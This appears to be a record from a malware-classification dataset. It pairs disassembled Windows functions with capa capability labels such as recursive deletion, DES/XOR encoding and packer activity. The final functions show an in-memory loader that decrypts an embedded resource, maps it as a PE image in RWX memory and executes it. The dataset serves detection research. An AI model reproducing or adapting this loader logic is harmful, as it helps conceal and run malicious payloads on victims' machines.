joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b01c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405708
xor eax, eax
push ebp
push 0x49b210
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov bl, 1
lea eax, [ebp - 0xc]
call fcn.0040a770
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x49b06e
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0xc]
xchg edx, eax
call fcn.004059a0
mov eax, dword [ebp - 4]
call fcn.00402ee0
call fcn.00402ea4
lea eax, [ebp - 0x150]
push eax
push 0x49b224
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x49b1a4
lea eax, [ebp - 8]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.004054c4
mov eax, dword [ebp - 8]
mov edx, 0x49b230
call fcn.00405664
je 0x49b0d1
mov eax, dword [ebp - 8]
mov edx, 0x49b23c
call fcn.00405664
jne 0x49b0e2
test bl, bl
jne 0x49b0d9
xor eax, eax
jmp 0x49b0db
mov al, 1
mov ebx, eax
jmp 0x49b181
xor ebx, ebx
cmp dword [ebp - 0x150], 0x10
jne 0x49b165
mov eax, dword [ebp - 4]
test eax, eax
je 0x49b0f9
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x49b12b
push dword [ebp - 4]
push 0x49b248
push dword [ebp - 8]
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.004055d8
mov eax, dword [ebp - 0x154]
call fcn.0049b01c
jmp 0x49b147
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00405564
mov eax, dword [ebp - 0x158]
call fcn.0049b01c
mov eax, dword [ebp - 8]
call fcn.00405718
push eax
call sub.kernel32.dll_RemoveDirectoryA
test eax, eax
jne 0x49b15f
mov byte [ebp - 0xd], 0
jmp 0x49b181
mov byte [ebp - 0xd], 1
jmp 0x49b181
mov eax, dword [ebp - 8]
call fcn.00405718
push eax
call sub.kernel32.dll_DeleteFileA_1
test eax, eax
jne 0x49b17d
mov byte [ebp - 0xd], 0
jmp 0x49b181
mov byte [ebp - 0xd], 1
lea eax, [ebp - 0x150]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x49b0a0
push esi
call sub.kernel32.dll_FindClose_1
jmp 0x49b1b7
mov eax, dword [ebp - 0xc]
call fcn.00402ee0
call fcn.00402ea4
mov byte [ebp - 0xd], 0
jmp 0x49b1e5
test bl, bl
je 0x49b1d8
mov eax, 0x49b23c
call fcn.00402ee0
call fcn.00402ea4
mov eax, dword [ebp - 4]
call fcn.00405718
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, dword [ebp - 0xc]
call fcn.00402ee0
call fcn.00402ea4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b217
lea eax, [ebp - 0x158]
mov edx, 2
call fcn.00405278
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405278
ret

Function at 0x49b5b8
Capabilities:
Encrypt data using des

Disassembly:
push ebx
mov ecx, edx
and cl, 0x20
mov ebx, edx
and bl, 0x1e
movzx ebx, bl
shr ebx, 1
or cl, bl
and dl, 1
shl edx, 4
or cl, dl
mov edx, ecx
movzx edx, dl
movzx eax, al
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax*8 + 0x4b7a1c]
movzx eax, byte [eax + edx]
and al, 0xf
pop ebx
ret
Function at 0x49b5f0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
test ebx, ebx
js 0x49b608
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x49b601
mov eax, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, 7
call fcn.0040390c
xor edx, edx
mov eax, 0x4b7c1c
movzx ebx, byte [eax]
mov ecx, ebx
and cl, 7
movzx ecx, cl
push ecx
mov ecx, 7
pop esi
sub ecx, esi
mov esi, 1
shl esi, cl
movzx ecx, bl
shr ecx, 3
mov ebx, dword [ebp - 4]
movzx ecx, byte [ebx + ecx]
and esi, ecx
je 0x49b66f
mov ecx, edx
and ecx, 7
push ecx
mov ecx, 7
pop ebx
sub ecx, ebx
mov bl, 1
shl bl, cl
mov ecx, edx
shr ecx, 3
mov esi, dword [ebp - 8]
or byte [esi + ecx], bl
inc edx
inc eax
cmp edx, 0x38
jne 0x49b626
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x49b8b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov ebx, dword [ebp + 0x10]
test ebx, ebx
js 0x49b8c9
shr ebx, 2
mov esi, dword [ecx + ebx*4]
dec ebx
push esi
jns 0x49b8c2
mov ecx, esp
mov ebx, edx
test ebx, ebx
js 0x49b8db
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x49b8d4
mov eax, esp
mov dword [ebp - 4], ecx
push 5
lea ecx, [ebp - 0xa]
call fcn.0049b4a8
xor ebx, ebx
lea eax, [ebp - 0xa]
mov esi, dword [ebp - 4]
movzx edx, byte [esi]
xor dl, byte [eax]
mov ecx, 0x49b9f8
movzx ecx, byte [ecx + ebx]
xor dl, cl
mov byte [eax], dl
inc ebx
inc esi
inc eax
cmp ebx, 6
jne 0x49b8f2
movzx eax, byte [ebp - 0xa]
movzx edx, al
shr edx, 2
mov byte [ebp - 0x12], dl
and al, 3
shl eax, 4
movzx edx, byte [ebp - 9]
movzx ecx, dl
shr ecx, 4
or al, cl
mov byte [ebp - 0x11], al
and dl, 0xf
add edx, edx
add edx, edx
movzx eax, byte [ebp - 8]
movzx ecx, al
shr ecx, 6
or dl, cl
mov byte [ebp - 0x10], dl
and al, 0x3f
mov byte [ebp - 0xf], al
movzx eax, byte [ebp - 7]
movzx edx, al
shr edx, 2
xor dl, 0x1b
mov byte [ebp - 0xe], dl
and al, 3
shl eax, 4
movzx edx, byte [ebp - 6]
shr edx, 4
or al, dl
mov byte [ebp - 0xd], al
movzx eax, byte [ebp - 6]
and al, 0xf
add eax, eax
add eax, eax
movzx edx, byte [ebp - 5]
shr edx, 6
or al, dl
mov byte [ebp - 0xc], al
movzx eax, byte [ebp - 5]
and al, 0x3f
mov byte [ebp - 0xb], al
xor ebx, ebx
lea esi, [ebp - 0x12]
mov eax, ebx
movzx edx, byte [esi]
call fcn.0049b5b8
mov byte [esi], al
inc ebx
inc esi
cmp ebx, 8
jne 0x49b98d
mov ebx, 4
lea eax, [ebp - 0x12]
lea edx, [ebp - 0xa]
movzx ecx, byte [eax]
shl ecx, 4
or cl, byte [eax + 1]
mov byte [edx], cl
inc edx
add eax, 2
dec ebx
jne 0x49b9ab
lea eax, [ebp - 0xa]
mov edx, 5
call fcn.0049b538
mov ebx, 4
lea eax, [ebp - 0xa]
mov edx, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor cl, 0x1b
mov byte [edx], cl
inc edx
inc eax
dec ebx
jne 0x49b9d5
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x49ba00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov ebx, ecx
test ebx, ebx
js 0x49ba19
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x49ba12
mov edx, esp
mov dword [ebp - 4], edx
mov ebx, eax
mov dword [ebp - 8], 8
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
movzx edx, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 8]
jne 0x49ba2d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.0049b3a8
test bl, bl
jne 0x49bb07
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x14], 0x4bc920
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
movzx ecx, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x49ba65
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
movzx ecx, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x49ba7a
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.0049b8b0
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
movzx ebx, byte [edx]
xor bl, byte [esi]
mov byte [ecx], bl
inc ecx
inc esi
inc edx
dec eax
jne 0x49baad
add dword [ebp - 0x14], 6
dec dword [ebp - 8]
jne 0x49ba5a
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ecx, [ebp - 0xc]
movzx ebx, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x49bad1
mov eax, 4
mov edx, dword [ebp + 0xc]
movzx ecx, byte [edx]
mov byte [edx + 4], cl
inc edx
dec eax
jne 0x49bae3
mov eax, 4
lea edx, [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
movzx ebx, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x49baf8
jmp 0x49bbc8
cmp bl, 1
jne 0x49bbc8
mov dword [ebp - 8], 0xfffffff0
mov ebx, 0x4bc97a
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
movzx ecx, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x49bb27
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
movzx ecx, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x49bb3c
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov ecx, ebx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.0049b8b0
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 0x18], ecx
movzx ecx, byte [edx]
xor cl, byte [esi]
mov edi, dword [ebp - 0x18]
mov byte [edi], cl
inc dword [ebp - 0x18]
inc esi
inc edx
dec eax
jne 0x49bb6f
sub ebx, 6
inc dword [ebp - 8]
jne 0x49bb1c
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ebx, [ebp - 0xc]
movzx ecx, byte [edx]
mov byte [ebx], cl
inc ebx
inc edx
dec eax
jne 0x49bb97
mov eax, 4
mov ebx, dword [ebp + 0xc]
movzx edx, byte [ebx]
mov byte [ebx + 4], dl
inc ebx
dec eax
jne 0x49bba9
mov eax, 4
lea ebx, [ebp - 0xc]
mov edx, dword [ebp + 0xc]
movzx ecx, byte [ebx]
mov byte [edx], cl
inc edx
inc ebx
dec eax
jne 0x49bbbe
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.0049b428
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 8
Function at 0x49c5e4
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc58
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405708
xor eax, eax
push ebp
push 0x49c75b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
lea eax, [ebp - 8]
mov ecx, 0x49c778
mov edx, dword [ebp - 4]
call fcn.00405564
xor eax, eax
push ebp
push 0x49c707
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1dc]
call fcn.00403630
lea eax, [ebp - 0x1dc]
call fcn.004033c0
call fcn.00402ea4
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x3a8]
call fcn.00403630
lea eax, [ebp - 0x3a8]
call fcn.004033cc
call fcn.00402ea4
xor eax, eax
push ebp
push 0x49c6d3
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x49c6b5
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00403adc
lea eax, [ebp - 0x1dc]
call fcn.00403b48
call fcn.00402ea4
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x3a8]
call fcn.00405a30
call fcn.00403dc0
call fcn.00402ea4
lea eax, [ebp - 0x1dc]
call fcn.0040389c
call fcn.00402ea4
test al, al
je 0x49c67f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c6dd
lea eax, [ebp - 0x1dc]
call fcn.004036f8
call fcn.00402ea4
lea eax, [ebp - 0x3a8]
call fcn.004036f8
call fcn.00402ea4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c711
push 0
mov eax, dword [ebp - 4]
call fcn.00405718
push eax
mov eax, dword [ebp - 8]
call fcn.00405718
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x49c740
mov eax, dword [ebp - 8]
call fcn.00405718
push eax
call sub.kernel32.dll_DeleteFileA_1
mov byte [ebp - 0xd], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49c762
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405278
ret
Function at 0x40131b
Capabilities:
Terminate process

Disassembly:
jmp 0x405020
mov eax, dword [esp + 4]
push eax
push 0x4993fc
call fcn.0041c170
add esp, 8
push 1
call fcn.0041c05f
nop
nop
nop
nop
nop
nop
nop
int3

Function at 0x401357
Capabilities:
Encode data using xor

Disassembly:
jmp 0x404f90
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0xc]
push eax
push ecx
push 1
push esi
call fcn.0041bf1b
mov ebx, dword [0x49dd98]
lea ecx, [eax - 1]
add esp, 0x10
add ebx, eax
test ecx, ecx
mov dword [0x49dd98], ebx
jl 0x404ff1
inc ecx
mov edx, dword [0x49dda0]
xor ebx, ebx
mov bl, byte [esi]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [0x49dda1]
mov dx, word [edx*2 + 0x49dda4]
xor dx, bx
inc esi
dec ecx
mov word [0x49dda0], dx
jne 0x404fc1
pop esi
pop ebx
ret
Function at 0x401465
Capabilities:
Encode data using xor

Disassembly:
jmp 0x404f00
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push eax
push edi
push 1
push esi
call fcn.0041bde2
add esp, 0x10
cmp eax, edi
jae 0x404f2c
push str.Unable_to_write
call fcn.0040131b
add esp, 4
dec edi
js 0x404f62
lea eax, [edi + 1]
mov ecx, dword [0x49dda0]
xor edx, edx
mov dl, byte [esi]
and ecx, 0xff
xor ecx, edx
xor edx, edx
mov dl, byte [0x49dda1]
mov cx, word [ecx*2 + 0x49dda4]
xor cx, dx
inc esi
dec eax
mov word [0x49dda0], cx
jne 0x404f32
pop edi
pop esi
ret
Function at 0x4014dd
Capabilities:
Inspect section memory permissions

Disassembly:
jmp 0x409df0
mov eax, dword [0x49dc30]
mov cl, 1
test al, 4
je 0x409e01
mov byte [0x4a49c5], cl
test eax, 0x8000000
je 0x409e0e
mov byte [0x49dd20], cl
test eax, 0x4000000
je 0x409e1b
mov byte [0x49dd21], cl
test eax, 0x2000000
je 0x409e28
mov byte [0x49dd22], cl
test eax, 0x1000000
je 0x409e35
mov byte [0x49dd37], cl
test eax, 0x80000000
je 0x409e42
mov byte [0x4a49c4], cl
test eax, 0x40000000
je 0x409e4f
mov byte [0x4a49c6], cl
test al, 2
je 0x409e59
mov byte [0x4a49c7], cl
test eax, 0x20000000
je 0x409e66
mov byte [0x49dd38], cl
test al, 0x10
je 0x409e70
mov byte [0x49dd39], cl
test al, 8
je 0x409e7a
mov byte [0x49dd3a], cl
test cl, al
je 0x409e84
mov byte [0x49dd3c], cl
test ah, 1
je 0x409e8f
mov byte [0x49dd3f], cl
test ah, 2
je 0x409e9a
mov byte [0x49dd23], cl
mov al, byte [0x4a49c5]
test al, al
je 0x409eaa
mov byte [0x4a49c7], 0
ret

Function at 0x4034c0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x49dbd8]
push ebx
push esi
cmp eax, 0x2000
mov al, byte [0x49dd11]
push edi
je 0x4034fa
cmp al, 4
jb 0x403528
pushaw
mov dx, word [0x498c60]
mov ax, 0x22e
out dx, al
mov byte [0x49dd11], al
popaw
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp al, 4
jb 0x403528
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [0x49dd44]
lea ecx, [ebp - 0x18]
push 0x10
push ecx
lea edx, [ebp - 0x18]
push 2
push edx
push 0x222008
push eax
mov dword [ebp - 0x18], 2
call dword [0x4ab0b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403550
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x49dbd8]
push ebx
push esi
cmp eax, 0x2000
mov al, byte [0x49dd11]
push edi
je 0x40358a
cmp al, 4
jb 0x4035b8
pushaw
mov dx, word [0x498c60]
mov ax, 0x32e
out dx, al
mov byte [0x49dd11], al
popaw
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp al, 4
jb 0x4035b8
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [0x49dd44]
lea ecx, [ebp - 0x18]
push 0x10
push ecx
lea edx, [ebp - 0x18]
push 2
push edx
push 0x222008
push eax
mov dword [ebp - 0x18], 3
call dword [0x4ab0b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d210
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [0x49dc68]
push edi
xor eax, eax
lea ecx, [ebp - 0xd]
mov edi, dword [esi - 8]
cmp eax, edi
jge 0x40d232
mov dl, byte [esi + eax]
mov byte [ecx], dl
jmp 0x40d235
mov byte [ecx], 0
inc eax
dec ecx
cmp eax, 8
jl 0x40d227
mov edx, dword [0x49dbd8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp edx, 0x2000
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
je 0x40d297
push 4
call fcn.004449cb
add esp, 4
mov dword [ebp - 4], eax
pushal
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov ax, 4
shl eax, 0x10
mov ax, 0x25
mov dx, word [0x498c60]
out dx, al
mov edi, dword [ebp - 4]
mov eax, ebx
stosd dword es:[edi], eax
popal
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp ax, 1
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 8]
push 0
push ecx
mov ecx, dword [0x49dd44]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x18], eax
push 2
push edx
lea eax, [ebp - 0x20]
push 0xc
push eax
push 0x22204c
push ecx
mov dword [ebp - 0x20], 0x40025
call dword [0x4ab0b4]
mov eax, dword [ebp - 0x20]
pop edi
cmp ax, 1
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d320
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov edx, dword [0x49dbd8]
push ebx
mov ecx, 0x4d6e426b
mov eax, 0x46425745
push esi
cmp edx, 0x2000
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], eax
je 0x40d388
push 4
call fcn.004449cb
add esp, 4
mov dword [ebp - 4], eax
pushal
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov ax, 1
shl eax, 0x10
mov ax, 0x25
mov dx, word [0x498c60]
out dx, al
mov edi, dword [ebp - 4]
mov eax, ebx
stosd dword es:[edi], eax
popal
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp ax, 1
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 8]
push 0
push ecx
mov ecx, dword [0x49dd44]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
push 2
push edx
lea eax, [ebp - 0x1c]
push 0xc
push eax
push 0x22204c
push ecx
mov dword [ebp - 0x1c], 0x10025
call dword [0x4ab0b4]
mov eax, dword [ebp - 0x1c]
pop edi
cmp ax, 1
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d6f0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x49dbd8]
push ebx
push esi
cmp eax, 0x2000
push edi
je 0x40d739
push 4
call fcn.004449cb
add esp, 4
mov dword [ebp - 4], eax
pushal
mov ax, 6
shl eax, 0x10
mov ax, 0x25
mov dx, word [0x498c60]
out dx, al
mov edi, dword [ebp - 4]
mov eax, ebx
stosd dword es:[edi], eax
popal
mov eax, dword [ebp - 4]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 8]
push 0
push ecx
mov ecx, dword [0x49dd44]
lea edx, [ebp - 0x14]
push 2
push edx
lea eax, [ebp - 0x14]
push 4
push eax
push 0x22204c
push ecx
mov dword [ebp - 0x14], 0x60025
call dword [0x4ab0b4]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with crc32

Disassembly:
push 0x20
mov eax, 0x40b6e6
call fcn.0040a94a
push 0x410668
push 0x8e
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, edi
je 0x401166
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x401166
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push ebx
call fcn.004041bc
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
cmp esi, edi
je 0x401166
push ebx
push dword [ebp - 0x10]
push esi
call fcn.00404440
add esp, 0xc
xor eax, eax
cmp ebx, edi
jle 0x40109a
mov ecx, eax
and ecx, 0x800003ff
jns 0x40108c
dec ecx
or ecx, 0xfffffc00
inc ecx
mov cl, byte [ecx + 0x4130d0]
xor byte [eax + esi], cl
inc eax
cmp eax, ebx
jl 0x40107a
lea esi, [ebx + esi - 0xc]
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x20]
push eax
mov dword [ebp - 0x10], eax
call fcn.004041bc
mov esi, eax
pop ecx
test esi, esi
je 0x40115d
push dword [ebp - 0x10]
push 0
push esi
call fcn.00407620
add ebx, 0xfffffff4
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.004016b0
add esp, 0x1c
test eax, eax
jne 0x401156
mov ecx, dword [ebp - 0x18]
mov eax, 0xff
xor edx, edx
mov edi, eax
add ecx, esi
movsx ebx, byte [ecx + edx]
xor ebx, edi
and ebx, eax
shr edi, 8
xor edi, dword [ebx*4 + 0x412cd0]
inc edx
cmp edx, 0x19
jl 0x4010ec
cmp edi, dword [ebp - 0x1c]
jne 0x401156
xor edi, edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
push dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push esi
call fcn.004011c4
test eax, eax
je 0x401136
lea eax, [ebp - 0x2c]
push eax
call fcn.0040129f
cmp eax, edi
je 0x401136
call eax
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x2c], edi
je 0x401156
push edi
push edi
push dword [ebp - 0x24]
call dword [ebp - 0x28]
push 0x8000
push edi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call fcn.00404147
pop ecx
push dword [ebp - 0x14]
call fcn.00404147
pop ecx
mov al, 1
call fcn.0040a9b3
ret
Function at 0x4011c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
xor ebx, ebx
cmp dword [esi + 8], ebx
je 0x4011d9
xor eax, eax
jmp 0x401299
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, esi
call fcn.00401522
test eax, eax
je 0x4011d2
mov eax, esi
call fcn.004015b2
mov dword [ebp + 0xc], eax
cmp eax, ebx
je 0x4011d2
push edi
push 0x40
push 0x3000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, ebx
je 0x40128c
push dword [ebp + 8]
call fcn.00401622
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], ebx
jbe 0x401230
cmp dword [eax + 0xa4], ebx
jbe 0x401230
push edi
push esi
call fcn.00401376
push esi
mov ecx, edi
call fcn.004013f1
test eax, eax
jne 0x40124b
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40128c
lea eax, [ebp + 8]
push eax
push 0x40
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x10]
mov dword [eax + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
push ebx
push 1
add eax, edi
push edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x401290
push ebx
push ebx
push edi
call dword [esi + 4]
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], ebx
xor eax, eax
jmp 0x401298
xor eax, eax
inc eax
mov dword [esi], eax
mov dword [esi + 8], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x401522
Capabilities:
Parse pe header

Disassembly:
cmp dword [esp + 4], 0x40
jae 0x40152d
xor eax, eax
jmp 0x4015ab
mov edx, 0x5a4d
mov dword [ecx + 0xc], eax
cmp word [eax], dx
jne 0x401529
mov edx, dword [eax + 0x3c]
push esi
lea esi, [edx + 0xf8]
cmp dword [esp + 8], esi
jb 0x4015ae
add eax, edx
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x4015ae
movzx edx, word [eax + 0x16]
test edx, 0x2000
je 0x4015ae
test dl, 2
je 0x4015ae
mov edx, 0xe0
cmp word [eax + 0x14], dx
jne 0x4015ae
mov esi, dword [ecx + 0x10]
push edi
add eax, 0xf8
xor edi, edi
mov dword [ecx + 0x14], eax
xor edx, edx
cmp di, word [esi + 6]
pop edi
jae 0x4015a7
add eax, 0x10
mov esi, dword [eax + 4]
add esi, dword [eax]
cmp esi, dword [esp + 8]
ja 0x4015ae
mov esi, dword [ecx + 0x10]
movzx esi, word [esi + 6]
inc edx
add eax, 0x28
cmp edx, esi
jl 0x40158d
xor eax, eax
inc eax
pop esi
ret 4
xor eax, eax
jmp 0x4015aa